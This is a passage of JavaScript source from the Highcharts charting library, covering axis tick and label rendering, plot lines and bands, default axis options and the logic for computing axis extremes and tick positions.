y += baseline - label.getBBox().height / 2;
}
// Correct for staggered labels
if (staggerLines) {
label.line = (index / (step || 1) % staggerLines);
y += label.line * (axis.labelOffset / staggerLines);
}
return {
x: x,
y: y
};
},
/**
* Extendible method to return the path of the marker
*/
getMarkPath: function (x, y, tickLength, tickWidth, horiz, renderer) {
return renderer.crispLine([
M,
x,
y,
L,
x + (horiz ? 0 : -tickLength),
y + (horiz ? tickLength : 0)
], tickWidth);
},
/**
* Put everything in place
*
* @param index {Number}
* @param old {Boolean} Use old coordinates to prepare an animation into new position
*/
render: function (index, old, opacity) {
var tick = this,
axis = tick.axis,
options = axis.options,
chart = axis.chart,
renderer = chart.renderer,
horiz = axis.horiz,
type = tick.type,
label = tick.label,
pos = tick.pos,
labelOptions = options.labels,
gridLine = tick.gridLine,
gridPrefix = type ? type + 'Grid' : 'grid',
tickPrefix = type ? type + 'Tick' : 'tick',
gridLineWidth = options[gridPrefix + 'LineWidth'],
gridLineColor = options[gridPrefix + 'LineColor'],
dashStyle = options[gridPrefix + 'LineDashStyle'],
tickLength = options[tickPrefix + 'Length'],
tickWidth = options[tickPrefix + 'Width'] || 0,
tickColor = options[tickPrefix + 'Color'],
tickPosition = options[tickPrefix + 'Position'],
gridLinePath,
mark = tick.mark,
markPath,
step = labelOptions.step,
attribs,
show = true,
tickmarkOffset = axis.tickmarkOffset,
xy = tick.getPosition(horiz, pos, tickmarkOffset, old),
x = xy.x,
y = xy.y,
reverseCrisp = ((horiz && x === axis.pos + axis.len) || (!horiz && y === axis.pos)) ? -1 : 1; // #1480, #1687
this.isActive = true;
// create the grid line
if (gridLineWidth) {
gridLinePath = axis.getPlotLinePath(pos + tickmarkOffset, gridLineWidth * reverseCrisp, old, true);
if (gridLine === UNDEFINED) {
attribs = {
stroke: gridLineColor,
'stroke-width': gridLineWidth
};
if (dashStyle) {
attribs.dashstyle = dashStyle;
}
if (!type) {
attribs.zIndex = 1;
}
if (old) {
attribs.opacity = 0;
}
tick.gridLine = gridLine =
gridLineWidth ?
renderer.path(gridLinePath)
.attr(attribs).add(axis.gridGroup) :
null;
}
// If the parameter 'old' is set, the current call will be followed
// by another call, therefore do not do any animations this time
if (!old && gridLine && gridLinePath) {
gridLine[tick.isNew ? 'attr' : 'animate']({
d: gridLinePath,
opacity: opacity
});
}
}
// create the tick mark
if (tickWidth && tickLength) {
// negate the length
if (tickPosition === 'inside') {
tickLength = -tickLength;
}
if (axis.opposite) {
tickLength = -tickLength;
}
markPath = tick.getMarkPath(x, y, tickLength, tickWidth * reverseCrisp, horiz, renderer);
if (mark) { // updating
mark.animate({
d: markPath,
opacity: opacity
});
} else { // first time
tick.mark = renderer.path(
markPath
).attr({
stroke: tickColor,
'stroke-width': tickWidth,
opacity: opacity
}).add(axis.axisGroup);
}
}
// the label is created on init - now move it into place
if (label && !isNaN(x)) {
label.xy = xy = tick.getLabelPosition(x, y, label, horiz, labelOptions, tickmarkOffset, index, step);
// Apply show first and show last. If the tick is both first and last, it is
// a single centered tick, in which case we show the label anyway (#2100).
if ((tick.isFirst && !tick.isLast && !pick(options.showFirstLabel, 1)) ||
(tick.isLast && !tick.isFirst && !pick(options.showLastLabel, 1))) {
show = false;
// Handle label overflow and show or hide accordingly
} else if (!axis.isRadial && !labelOptions.step && !labelOptions.rotation && !old && opacity !== 0) {
show = tick.handleOverflow(index, xy);
}
// apply step
if (step && index % step) {
// show those indices dividable by step
show = false;
}
// Set the new position, and show or hide
if (show && !isNaN(xy.y)) {
xy.opacity = opacity;
label[tick.isNew ? 'attr' : 'animate'](xy);
tick.isNew = false;
} else {
label.attr('y', -9999); // #1338
}
}
},
/**
* Destructor for the tick prototype
*/
destroy: function () {
destroyObjectProperties(this, this.axis);
}
};
/**
* The object wrapper for plot lines and plot bands
* @param {Object} options
*/
Highcharts.PlotLineOrBand = function (axis, options) {
this.axis = axis;
if (options) {
this.options = options;
this.id = options.id;
}
};
Highcharts.PlotLineOrBand.prototype = {
/**
* Render the plot line or plot band. If it is already existing,
* move it.
*/
render: function () {
var plotLine = this,
axis = plotLine.axis,
horiz = axis.horiz,
halfPointRange = (axis.pointRange || 0) / 2,
options = plotLine.options,
optionsLabel = options.label,
label = plotLine.label,
width = options.width,
to = options.to,
from = options.from,
isBand = defined(from) && defined(to),
value = options.value,
dashStyle = options.dashStyle,
svgElem = plotLine.svgElem,
path = [],
addEvent,
eventType,
xs,
ys,
x,
y,
color = options.color,
zIndex = options.zIndex,
events = options.events,
attribs,
renderer = axis.chart.renderer;
// logarithmic conversion
if (axis.isLog) {
from = log2lin(from);
to = log2lin(to);
value = log2lin(value);
}
// plot line
if (width) {
path = axis.getPlotLinePath(value, width);
attribs = {
stroke: color,
'stroke-width': width
};
if (dashStyle) {
attribs.dashstyle = dashStyle;
}
} else if (isBand) { // plot band
// keep within plot area
from = mathMax(from, axis.min - halfPointRange);
to = mathMin(to, axis.max + halfPointRange);
path = axis.getPlotBandPath(from, to, options);
attribs = {
fill: color
};
if (options.borderWidth) {
attribs.stroke = options.borderColor;
attribs['stroke-width'] = options.borderWidth;
}
} else {
return;
}
// zIndex
if (defined(zIndex)) {
attribs.zIndex = zIndex;
}
// common for lines and bands
if (svgElem) {
if (path) {
svgElem.animate({
d: path
}, null, svgElem.onGetPath);
} else {
svgElem.hide();
svgElem.onGetPath = function () {
svgElem.show();
};
if (label) {
plotLine.label = label = label.destroy();
}
}
} else if (path && path.length) {
plotLine.svgElem = svgElem = renderer.path(path)
.attr(attribs).add();
// events
if (events) {
addEvent = function (eventType) {
svgElem.on(eventType, function (e) {
events[eventType].apply(plotLine, [e]);
});
};
for (eventType in events) {
addEvent(eventType);
}
}
}
// the plot band/line label
if (optionsLabel && defined(optionsLabel.text) && path && path.length && axis.width > 0 && axis.height > 0) {
// apply defaults
optionsLabel = merge({
align: horiz && isBand && 'center',
x: horiz ? !isBand && 4 : 10,
verticalAlign : !horiz && isBand && 'middle',
y: horiz ? isBand ? 16 : 10 : isBand ? 6 : -4,
rotation: horiz && !isBand && 90
}, optionsLabel);
// add the SVG element
if (!label) {
plotLine.label = label = renderer.text(
optionsLabel.text,
0,
0,
optionsLabel.useHTML
)
.attr({
align: optionsLabel.textAlign || optionsLabel.align,
rotation: optionsLabel.rotation,
zIndex: zIndex
})
.css(optionsLabel.style)
.add();
}
// get the bounding box and align the label
xs = [path[1], path[4], pick(path[6], path[1])];
ys = [path[2], path[5], pick(path[7], path[2])];
x = arrayMin(xs);
y = arrayMin(ys);
label.align(optionsLabel, false, {
x: x,
y: y,
width: arrayMax(xs) - x,
height: arrayMax(ys) - y
});
label.show();
} else if (label) { // move out of sight
label.hide();
}
// chainable
return plotLine;
},
/**
* Remove the plot line or band
*/
destroy: function () {
// remove it from the lookup
erase(this.axis.plotLinesAndBands, this);
delete this.axis;
destroyObjectProperties(this);
}
};
/**
* Object with members for extending the Axis prototype
*/
AxisPlotLineOrBandExtension = {
/**
* Create the path for a plot band
*/
getPlotBandPath: function (from, to) {
var toPath = this.getPlotLinePath(to),
path = this.getPlotLinePath(from);
if (path && toPath) {
path.push(
toPath[4],
toPath[5],
toPath[1],
toPath[2]
);
} else { // outside the axis area
path = null;
}
return path;
},
addPlotBand: function (options) {
this.addPlotBandOrLine(options, 'plotBands');
},
addPlotLine: function (options) {
this.addPlotBandOrLine(options, 'plotLines');
},
/**
* Add a plot band or plot line after render time
*
* @param options {Object} The plotBand or plotLine configuration object
*/
addPlotBandOrLine: function (options, coll) {
var obj = new Highcharts.PlotLineOrBand(this, options).render(),
userOptions = this.userOptions;
if (obj) { // #2189
// Add it to the user options for exporting and Axis.update
if (coll) {
userOptions[coll] = userOptions[coll] || [];
userOptions[coll].push(options);
}
this.plotLinesAndBands.push(obj);
}
return obj;
},
/**
* Remove a plot band or plot line from the chart by id
* @param {Object} id
*/
removePlotBandOrLine: function (id) {
var plotLinesAndBands = this.plotLinesAndBands,
options = this.options,
userOptions = this.userOptions,
i = plotLinesAndBands.length;
while (i--) {
if (plotLinesAndBands[i].id === id) {
plotLinesAndBands[i].destroy();
}
}
each([options.plotLines || [], userOptions.plotLines || [], options.plotBands || [], userOptions.plotBands || []], function (arr) {
i = arr.length;
while (i--) {
if (arr[i].id === id) {
erase(arr, arr[i]);
}
}
});
}
};
/**
* Create a new axis object
* @param {Object} chart
* @param {Object} options
*/
function Axis() {
this.init.apply(this, arguments);
}
Axis.prototype = {
/**
* Default options for the X axis - the Y axis has extended defaults
*/
defaultOptions: {
// allowDecimals: null,
// alternateGridColor: null,
// categories: [],
dateTimeLabelFormats: {
millisecond: '%H:%M:%S.%L',
second: '%H:%M:%S',
minute: '%H:%M',
hour: '%H:%M',
day: '%e. %b',
week: '%e. %b',
month: '%b \'%y',
year: '%Y'
},
endOnTick: false,
gridLineColor: '#C0C0C0',
// gridLineDashStyle: 'solid',
// gridLineWidth: 0,
// reversed: false,
labels: defaultLabelOptions,
// { step: null },
lineColor: '#C0D0E0',
lineWidth: 1,
//linkedTo: null,
//max: undefined,
//min: undefined,
minPadding: 0.01,
maxPadding: 0.01,
//minRange: null,
minorGridLineColor: '#E0E0E0',
// minorGridLineDashStyle: null,
minorGridLineWidth: 1,
minorTickColor: '#A0A0A0',
//minorTickInterval: null,
minorTickLength: 2,
minorTickPosition: 'outside', // inside or outside
//minorTickWidth: 0,
//opposite: false,
//offset: 0,
//plotBands: [{
// events: {},
// zIndex: 1,
// labels: { align, x, verticalAlign, y, style, rotation, textAlign }
//}],
//plotLines: [{
// events: {}
// dashStyle: {}
// zIndex:
// labels: { align, x, verticalAlign, y, style, rotation, textAlign }
//}],
//reversed: false,
// showFirstLabel: true,
// showLastLabel: true,
startOfWeek: 1,
startOnTick: false,
tickColor: '#C0D0E0',
//tickInterval: null,
tickLength: 5,
tickmarkPlacement: 'between', // on or between
tickPixelInterval: 100,
tickPosition: 'outside',
tickWidth: 1,
title: {
//text: null,
align: 'middle', // low, middle or high
//margin: 0 for horizontal, 10 for vertical axes,
//rotation: 0,
//side: 'outside',
style: {
color: '#4d759e',
//font: defaultFont.replace('normal', 'bold')
fontWeight: 'bold'
}
//x: 0,
//y: 0
},
type: 'linear' // linear, logarithmic or datetime
},
/**
* This options set extends the defaultOptions for Y axes
*/
defaultYAxisOptions: {
endOnTick: true,
gridLineWidth: 1,
tickPixelInterval: 72,
showLastLabel: true,
labels: {
x: -8,
y: 3
},
lineWidth: 0,
maxPadding: 0.05,
minPadding: 0.05,
startOnTick: true,
tickWidth: 0,
title: {
rotation: 270,
text: 'Values'
},
stackLabels: {
enabled: false,
//align: dynamic,
//y: dynamic,
//x: dynamic,
//verticalAlign: dynamic,
//textAlign: dynamic,
//rotation: 0,
formatter: function () {
return numberFormat(this.total, -1);
},
style: defaultLabelOptions.style
}
},
/**
* These options extend the defaultOptions for left axes
*/
defaultLeftAxisOptions: {
labels: {
x: -8,
y: null
},
title: {
rotation: 270
}
},
/**
* These options extend the defaultOptions for right axes
*/
defaultRightAxisOptions: {
labels: {
x: 8,
y: null
},
title: {
rotation: 90
}
},
/**
* These options extend the defaultOptions for bottom axes
*/
defaultBottomAxisOptions: {
labels: {
x: 0,
y: 14
// overflow: undefined,
// staggerLines: null
},
title: {
rotation: 0
}
},
/**
* These options extend the defaultOptions for left axes
*/
defaultTopAxisOptions: {
labels: {
x: 0,
y: -5
// overflow: undefined
// staggerLines: null
},
title: {
rotation: 0
}
},
/**
* Initialize the axis
*/
init: function (chart, userOptions) {
var isXAxis = userOptions.isX,
axis = this;
// Flag, is the axis horizontal
axis.horiz = chart.inverted ? !isXAxis : isXAxis;
// Flag, isXAxis
axis.isXAxis = isXAxis;
axis.coll = isXAxis ? 'xAxis' : 'yAxis';
axis.opposite = userOptions.opposite; // needed in setOptions
axis.side = userOptions.side || (axis.horiz ?
(axis.opposite ? 0 : 2) : // top : bottom
(axis.opposite ? 1 : 3)); // right : left
axis.setOptions(userOptions);
var options = this.options,
type = options.type,
isDatetimeAxis = type === 'datetime';
axis.labelFormatter = options.labels.formatter || axis.defaultLabelFormatter; // can be overwritten by dynamic format
// Flag, stagger lines or not
axis.userOptions = userOptions;
//axis.axisTitleMargin = UNDEFINED,// = options.title.margin,
axis.minPixelPadding = 0;
//axis.ignoreMinPadding = UNDEFINED; // can be set to true by a column or bar series
//axis.ignoreMaxPadding = UNDEFINED;
axis.chart = chart;
axis.reversed = options.reversed;
axis.zoomEnabled = options.zoomEnabled !== false;
// Initial categories
axis.categories = options.categories || type === 'category';
axis.names = [];
// Elements
//axis.axisGroup = UNDEFINED;
//axis.gridGroup = UNDEFINED;
//axis.axisTitle = UNDEFINED;
//axis.axisLine = UNDEFINED;
// Shorthand types
axis.isLog = type === 'logarithmic';
axis.isDatetimeAxis = isDatetimeAxis;
// Flag, if axis is linked to another axis
axis.isLinked = defined(options.linkedTo);
// Linked axis.
//axis.linkedParent = UNDEFINED;
// Tick positions
//axis.tickPositions = UNDEFINED; // array containing predefined positions
// Tick intervals
//axis.tickInterval = UNDEFINED;
//axis.minorTickInterval = UNDEFINED;
axis.tickmarkOffset = (axis.categories && options.tickmarkPlacement === 'between') ? 0.5 : 0;
// Major ticks
axis.ticks = {};
axis.labelEdge = [];
// Minor ticks
axis.minorTicks = {};
//axis.tickAmount = UNDEFINED;
// List of plotLines/Bands
axis.plotLinesAndBands = [];
// Alternate bands
axis.alternateBands = {};
// Axis metrics
//axis.left = UNDEFINED;
//axis.top = UNDEFINED;
//axis.width = UNDEFINED;
//axis.height = UNDEFINED;
//axis.bottom = UNDEFINED;
//axis.right = UNDEFINED;
//axis.transA = UNDEFINED;
//axis.transB = UNDEFINED;
//axis.oldTransA = UNDEFINED;
axis.len = 0;
//axis.oldMin = UNDEFINED;
//axis.oldMax = UNDEFINED;
//axis.oldUserMin = UNDEFINED;
//axis.oldUserMax = UNDEFINED;
//axis.oldAxisLength = UNDEFINED;
axis.minRange = axis.userMinRange = options.minRange || options.maxZoom;
axis.range = options.range;
axis.offset = options.offset || 0;
// Dictionary for stacks
axis.stacks = {};
axis.oldStacks = {};
// Min and max in the data
//axis.dataMin = UNDEFINED,
//axis.dataMax = UNDEFINED,
// The axis range
axis.max = null;
axis.min = null;
// User set min and max
//axis.userMin = UNDEFINED,
//axis.userMax = UNDEFINED,
// Crosshair options
axis.crosshair = pick(options.crosshair, splat(chart.options.tooltip.crosshairs)[isXAxis ? 0 : 1], false);
// Run Axis
var eventType,
events = axis.options.events;
// Register
if (inArray(axis, chart.axes) === -1) { // don't add it again on Axis.update()
if (isXAxis && !this.isColorAxis) { // #2713
chart.axes.splice(chart.xAxis.length, 0, axis);
} else {
chart.axes.push(axis);
}
chart[axis.coll].push(axis);
}
axis.series = axis.series || []; // populated by Series
// inverted charts have reversed xAxes as default
if (chart.inverted && isXAxis && axis.reversed === UNDEFINED) {
axis.reversed = true;
}
axis.removePlotBand = axis.removePlotBandOrLine;
axis.removePlotLine = axis.removePlotBandOrLine;
// register event listeners
for (eventType in events) {
addEvent(axis, eventType, events[eventType]);
}
// extend logarithmic axis
if (axis.isLog) {
axis.val2lin = log2lin;
axis.lin2val = lin2log;
}
},
/**
* Merge and set options
*/
setOptions: function (userOptions) {
this.options = merge(
this.defaultOptions,
this.isXAxis ? {} : this.defaultYAxisOptions,
[this.defaultTopAxisOptions, this.defaultRightAxisOptions,
this.defaultBottomAxisOptions, this.defaultLeftAxisOptions][this.side],
merge(
defaultOptions[this.coll], // if set in setOptions (#1053)
userOptions
)
);
},
/**
* The default label formatter. The context is a special config object for the label.
*/
defaultLabelFormatter: function () {
var axis = this.axis,
value = this.value,
categories = axis.categories,
dateTimeLabelFormat = this.dateTimeLabelFormat,
numericSymbols = defaultOptions.lang.numericSymbols,
i = numericSymbols && numericSymbols.length,
multi,
ret,
formatOption = axis.options.labels.format,
// make sure the same symbol is added for all labels on a linear axis
numericSymbolDetector = axis.isLog ? value : axis.tickInterval;
if (formatOption) {
ret = format(formatOption, this);
} else if (categories) {
ret = value;
} else if (dateTimeLabelFormat) { // datetime axis
ret = dateFormat(dateTimeLabelFormat, value);
} else if (i && numericSymbolDetector >= 1000) {
// Decide whether we should add a numeric symbol like k (thousands) or M (millions).
// If we are to enable this in tooltip or other places as well, we can move this
// logic to the numberFormatter and enable it by a parameter.
while (i-- && ret === UNDEFINED) {
multi = Math.pow(1000, i + 1);
if (numericSymbolDetector >= multi && numericSymbols[i] !== null) {
ret = numberFormat(value / multi, -1) + numericSymbols[i];
}
}
}
if (ret === UNDEFINED) {
if (value >= 10000) { // add thousands separators
ret = numberFormat(value, 0);
} else { // small numbers
ret = numberFormat(value, -1, UNDEFINED, ''); // #2466
}
}
return ret;
},
/**
* Get the minimum and maximum for the series of each axis
*/
getSeriesExtremes: function () {
var axis = this,
chart = axis.chart;
axis.hasVisibleSeries = false;
// reset dataMin and dataMax in case we're redrawing
axis.dataMin = axis.dataMax = null;
if (axis.buildStacks) {
axis.buildStacks();
}
// loop through this axis' series
each(axis.series, function (series) {
if (series.visible || !chart.options.chart.ignoreHiddenSeries) {
var seriesOptions = series.options,
xData,
threshold = seriesOptions.threshold,
seriesDataMin,
seriesDataMax;
axis.hasVisibleSeries = true;
// Validate threshold in logarithmic axes
if (axis.isLog && threshold <= 0) {
threshold = null;
}
// Get dataMin and dataMax for X axes
if (axis.isXAxis) {
xData = series.xData;
if (xData.length) {
axis.dataMin = mathMin(pick(axis.dataMin, xData[0]), arrayMin(xData));
axis.dataMax = mathMax(pick(axis.dataMax, xData[0]), arrayMax(xData));
}
// Get dataMin and dataMax for Y axes, as well as handle stacking and processed data
} else {
// Get this particular series extremes
series.getExtremes();
seriesDataMax = series.dataMax;
seriesDataMin = series.dataMin;
// Get the dataMin and dataMax so far. If percentage is used, the min and max are
// always 0 and 100. If seriesDataMin and seriesDataMax is null, then series
// doesn't have active y data, we continue with nulls
if (defined(seriesDataMin) && defined(seriesDataMax)) {
axis.dataMin = mathMin(pick(axis.dataMin, seriesDataMin), seriesDataMin);
axis.dataMax = mathMax(pick(axis.dataMax, seriesDataMax), seriesDataMax);
}
// Adjust to threshold
if (defined(threshold)) {
if (axis.dataMin >= threshold) {
axis.dataMin = threshold;
axis.ignoreMinPadding = true;
} else if (axis.dataMax < threshold) {
axis.dataMax = threshold;
axis.ignoreMaxPadding = true;
}
}
}
}
});
},
/**
* Translate from axis value to pixel position on the chart, or back
*
*/
translate: function (val, backwards, cvsCoord, old, handleLog, pointPlacement) {
var axis = this,
sign = 1,
cvsOffset = 0,
localA = old ? axis.oldTransA : axis.transA,
localMin = old ? axis.oldMin : axis.min,
returnValue,
minPixelPadding = axis.minPixelPadding,
postTranslate = (axis.options.ordinal || (axis.isLog && handleLog)) && axis.lin2val;
if (!localA) {
localA = axis.transA;
}
// In vertical axes, the canvas coordinates start from 0 at the top like in
// SVG.
if (cvsCoord) {
sign *= -1; // canvas coordinates inverts the value
cvsOffset = axis.len;
}
// Handle reversed axis
if (axis.reversed) {
sign *= -1;
cvsOffset -= sign * (axis.sector || axis.len);
}
// From pixels to value
if (backwards) { // reverse translation
val = val * sign + cvsOffset;
val -= minPixelPadding;
returnValue = val / localA + localMin; // from chart pixel to value
if (postTranslate) { // log and ordinal axes
returnValue = axis.lin2val(returnValue);
}
// From value to pixels
} else {
if (postTranslate) { // log and ordinal axes
val = axis.val2lin(val);
}
if (pointPlacement === 'between') {
pointPlacement = 0.5;
}
returnValue = sign * (val - localMin) * localA + cvsOffset + (sign * minPixelPadding) +
(isNumber(pointPlacement) ? localA * pointPlacement * axis.pointRange : 0);
}
return returnValue;
},
/**
* Utility method to translate an axis value to pixel position.
* @param {Number} value A value in terms of axis units
* @param {Boolean} paneCoordinates Whether to return the pixel coordinate relative to the chart
* or just the axis/pane itself.
*/
toPixels: function (value, paneCoordinates) {
return this.translate(value, false, !this.horiz, null, true) + (paneCoordinates ? 0 : this.pos);
},
/*
* Utility method to translate a pixel position in to an axis value
* @param {Number} pixel The pixel value coordinate
* @param {Boolean} paneCoordiantes Whether the input pixel is relative to the chart or just the
* axis/pane itself.
*/
toValue: function (pixel, paneCoordinates) {
return this.translate(pixel - (paneCoordinates ? 0 : this.pos), true, !this.horiz, null, true);
},
/**
* Create the path for a plot line that goes from the given value on
* this axis, across the plot to the opposite side
* @param {Number} value
* @param {Number} lineWidth Used for calculation crisp line
* @param {Number] old Use old coordinates (for resizing and rescaling)
*/
getPlotLinePath: function (value, lineWidth, old, force, translatedValue) {
var axis = this,
chart = axis.chart,
axisLeft = axis.left,
axisTop = axis.top,
x1,
y1,
x2,
y2,
cHeight = (old && chart.oldChartHeight) || chart.chartHeight,
cWidth = (old && chart.oldChartWidth) || chart.chartWidth,
skip,
transB = axis.transB;
translatedValue = pick(translatedValue, axis.translate(value, null, null, old));
x1 = x2 = mathRound(translatedValue + transB);
y1 = y2 = mathRound(cHeight - translatedValue - transB);
if (isNaN(translatedValue)) { // no min or max
skip = true;
} else if (axis.horiz) {
y1 = axisTop;
y2 = cHeight - axis.bottom;
if (x1 < axisLeft || x1 > axisLeft + axis.width) {
skip = true;
}
} else {
x1 = axisLeft;
x2 = cWidth - axis.right;
if (y1 < axisTop || y1 > axisTop + axis.height) {
skip = true;
}
}
return skip && !force ?
null :
chart.renderer.crispLine([M, x1, y1, L, x2, y2], lineWidth || 1);
},
/**
* Set the tick positions of a linear axis to round values like whole tens or every five.
*/
getLinearTickPositions: function (tickInterval, min, max) {
var pos,
lastPos,
roundedMin = correctFloat(mathFloor(min / tickInterval) * tickInterval),
roundedMax = correctFloat(mathCeil(max / tickInterval) * tickInterval),
tickPositions = [];
// Populate the intermediate values
pos = roundedMin;
while (pos <= roundedMax) {
// Place the tick on the rounded value
tickPositions.push(pos);
// Always add the raw tickInterval, not the corrected one.
pos = correctFloat(pos + tickInterval);
// If the interval is not big enough in the current min - max range to actually increase
// the loop variable, we need to break out to prevent endless loop. Issue #619
if (pos === lastPos) {
break;
}
// Record the last value
lastPos = pos;
}
return tickPositions;
},
/**
* Return the minor tick positions. For logarithmic axes, reuse the same logic
* as for major ticks.
*/
getMinorTickPositions: function () {
var axis = this,
options = axis.options,
tickPositions = axis.tickPositions,
minorTickInterval = axis.minorTickInterval,
minorTickPositions = [],
pos,
i,
len;
if (axis.isLog) {
len = tickPositions.length;
for (i = 1; i < len; i++) {
minorTickPositions = minorTickPositions.concat(
axis.getLogTickPositions(minorTickInterval, tickPositions[i - 1], tickPositions[i], true)
);
}
} else if (axis.isDatetimeAxis && options.minorTickInterval === 'auto') { // #1314
minorTickPositions = minorTickPositions.concat(
axis.getTimeTicks(
axis.normalizeTimeTickInterval(minorTickInterval),
axis.min,
axis.max,
options.startOfWeek
)
);
if (minorTickPositions[0] < axis.min) {
minorTickPositions.shift();
}
} else {
for (pos = axis.min + (tickPositions[0] - axis.min) % minorTickInterval; pos <= axis.max; pos += minorTickInterval) {
minorTickPositions.push(pos);
}
}
return minorTickPositions;
},
/**
* Adjust the min and max for the minimum range. Keep in mind that the series data is
* not yet processed, so we don't have information on data cropping and grouping, or
* updated axis.pointRange or series.pointRange. The data can't be processed until
* we have finally established min and max.
*/
adjustForMinRange: function () {
var axis = this,
options = axis.options,
min = axis.min,
max = axis.max,
zoomOffset,
spaceAvailable = axis.dataMax - axis.dataMin >= axis.minRange,
closestDataRange,
i,
distance,
xData,
loopLength,
minArgs,
maxArgs;
// Set the automatic minimum range based on the closest point distance
if (axis.isXAxis && axis.minRange === UNDEFINED && !axis.isLog) {
if (defined(options.min) || defined(options.max)) {
axis.minRange = null; // don't do this again
} else {
// Find the closest distance between raw data points, as opposed to
// closestPointRange that applies to processed points (cropped and grouped)
each(axis.series, function (series) {
xData = series.xData;
loopLength = series.xIncrement ? 1 : xData.length - 1;
for (i = loopLength; i > 0; i--) {
distance = xData[i] - xData[i - 1];
if (closestDataRange === UNDEFINED || distance < closestDataRange) {
closestDataRange = distance;
}
}
});
axis.minRange = mathMin(closestDataRange * 5, axis.dataMax - axis.dataMin);
}
}
// if minRange is exceeded, adjust
if (max - min < axis.minRange) {
var minRange = axis.minRange;
zoomOffset = (minRange - max + min) / 2;
// if min and max options have been set, don't go beyond it
minArgs = [min - zoomOffset, pick(options.min, min - zoomOffset)];
if (spaceAvailable) { // if space is available, stay within the data range
minArgs[2] = axis.dataMin;
}
min = arrayMax(minArgs);
maxArgs = [min + minRange, pick(options.max, min + minRange)];
if (spaceAvailable) { // if space is availabe, stay within the data range
maxArgs[2] = axis.dataMax;
}
max = arrayMin(maxArgs);
// now if the max is adjusted, adjust the min back
if (max - min < minRange) {
minArgs[0] = max - minRange;
minArgs[1] = pick(options.min, max - minRange);
min = arrayMax(minArgs);
}
}
// Record modified extremes
axis.min = min;
axis.max = max;
},
/**
* Update translation information
*/
setAxisTranslation: function (saveOld) {
var axis = this,
range = axis.max - axis.min,
pointRange = axis.axisPointRange || 0,
closestPointRange,
minPointOffset = 0,
pointRangePadding = 0,
linkedParent = axis.linkedParent,
ordinalCorrection,
hasCategories = !!axis.categories,
transA = axis.transA;
// Adjust translation for padding. Y axis with categories need to go through the same (#1784).
if (axis.isXAxis || hasCategories || pointRange) {
if (linkedParent) {
minPointOffset = linkedParent.minPointOffset;
pointRangePadding = linkedParent.pointRangePadding;
} else {
each(axis.series, function (series) {
var seriesPointRange = mathMax(axis.isXAxis ? series.pointRange : (axis.axisPointRange || 0), +hasCategories),
pointPlacement = series.options.pointPlacement,
seriesClosestPointRange = series.closestPointRange;
if (seriesPointRange > range) { // #1446
seriesPointRange = 0;
}
pointRange = mathMax(pointRange, seriesPointRange);
// minPointOffset is the value padding to the left of the axis in order to make
// room for points with a pointRange, typically columns. When the pointPlacement option
// is 'between' or 'on', this padding does not apply.
minPointOffset = mathMax(
minPointOffset,
isString(pointPlacement) ? 0 : seriesPointRange / 2
);
// Determine the total padding needed to the length of the axis to make room for the
// pointRange. If the series' pointPlacement is 'on', no padding is added.
pointRangePadding = mathMax(
pointRangePadding,
pointPlacement === 'on' ? 0 : seriesPointRange
);
// Set the closestPointRange
if (!series.noSharedTooltip && defined(seriesClosestPointRange)) {
closestPointRange = defined(closestPointRange) ?
mathMin(closestPointRange, seriesClosestPointRange) :
seriesClosestPointRange;
}
});
}
// Record minPointOffset and pointRangePadding
ordinalCorrection = axis.ordinalSlope && closestPointRange ? axis.ordinalSlope / closestPointRange : 1; // #988, #1853
axis.minPointOffset = minPointOffset = minPointOffset * ordinalCorrection;
axis.pointRangePadding = pointRangePadding = pointRangePadding * ordinalCorrection;
// pointRange means the width reserved for each point, like in a column chart
axis.pointRange = mathMin(pointRange, range);
// closestPointRange means the closest distance between points. In columns
// it is mostly equal to pointRange, but in lines pointRange is 0 while closestPointRange
// is some other value
axis.closestPointRange = closestPointRange;
}
// Secondary values
if (saveOld) {
axis.oldTransA = transA;
}
axis.translationSlope = axis.transA = transA = axis.len / ((range + pointRangePadding) || 1);
axis.transB = axis.horiz ? axis.left : axis.bottom; // translation addend
axis.minPixelPadding = transA * minPointOffset;
},
/**
* Set the tick positions to round values and optionally extend the extremes
* to the nearest tick
*/
setTickPositions: function (secondPass) {
var axis = this,
chart = axis.chart,
options = axis.options,
isLog = axis.isLog,
isDatetimeAxis = axis.isDatetimeAxis,
isXAxis = axis.isXAxis,
isLinked = axis.isLinked,
tickPositioner = axis.options.tickPositioner,
maxPadding = options.maxPadding,
minPadding = options.minPadding,
length,
linkedParentExtremes,
tickIntervalOption = options.tickInterval,
minTickIntervalOption = options.minTickInterval,
tickPixelIntervalOption = options.tickPixelInterval,
tickPositions,
keepTwoTicksOnly,
categories = axis.categories;
// linked axis gets the extremes from the parent axis
if (isLinked) {
axis.linkedParent = chart[axis.coll][options.linkedTo];
linkedParentExtremes = axis.linkedParent.getExtremes();
axis.min = pick(linkedParentExtremes.min, linkedParentExtremes.dataMin);
axis.max = pick(linkedParentExtremes.max, linkedParentExtremes.dataMax);
if (options.type !== axis.linkedParent.options.type) {
error(11, 1); // Can't link axes of different type
}
} else { // initial min and max from the extreme data values
axis.min = pick(axis.userMin, options.min, axis.dataMin);
axis.max = pick(axis.userMax, options.max, axis.dataMax);
}
if (isLog) {
if (!secondPass && mathMin(axis.min, pick(axis.dataMin, axis.min)) <= 0) { // #978
error(10, 1); // Can't plot negative values on log axis
}
axis.min = correctFloat(log2lin(axis.min)); // correctFloat cures #934
axis.max = correctFloat(log2lin(axis.max));
}
// handle zoomed range
if (axis.range && defined(axis.max)) {
axis.userMin = axis.min = mathMax(axis.min, axis.max - axis.range); // #618
axis.userMax = axis.max;
axis.range = null; // don't use it when running setExtremes
}
// Hook for adjusting this.min and this.max. Used by bubble series.
if (axis.beforePadding) {
axis.beforePadding();
}
// adjust min and max for the minimum range
axis.adjustForMinRange();
// Pad the values to get clear of the chart's edges. To avoid tickInterval taking the padding
// into account, we do this after computing tick interval (#1337).
if (!categories && !axis.axisPointRange && !axis.usePercentage && !isLinked && defined(axis.min) && defined(axis.max)) {
length = axis.max - axis.min;
if (length) {
if (!defined(options.min) && !defined(axis.userMin) && minPadding && (axis.dataMin < 0 || !axis.ignoreMinPadding)) {
axis.min -= length * minPadding;
}
if (!defined(options.max) && !defined(axis.userMax) && maxPadding && (axis.dataMax > 0 || !axis.ignoreMaxPadding)) {
axis.max += length * maxPadding;
}
}
}
// get tickInterval
if (axis.min === axis.max || axis.min === undefined || axis.max === undefined) {
axis.tickInterval = 1;
} else if (isLinked && !tickIntervalOption &&
tickPixelIntervalOption === axis.linkedParent.options.tickPixelInterval) {
axis.tickInterval = axis.linkedParent.tickInterval;
} else {
axis.tickInterval = pick(
tickIntervalOption,
categories ? // for categoried axis, 1 is default, for linear axis use tickPix
1 :
// don't let it be more than the data range
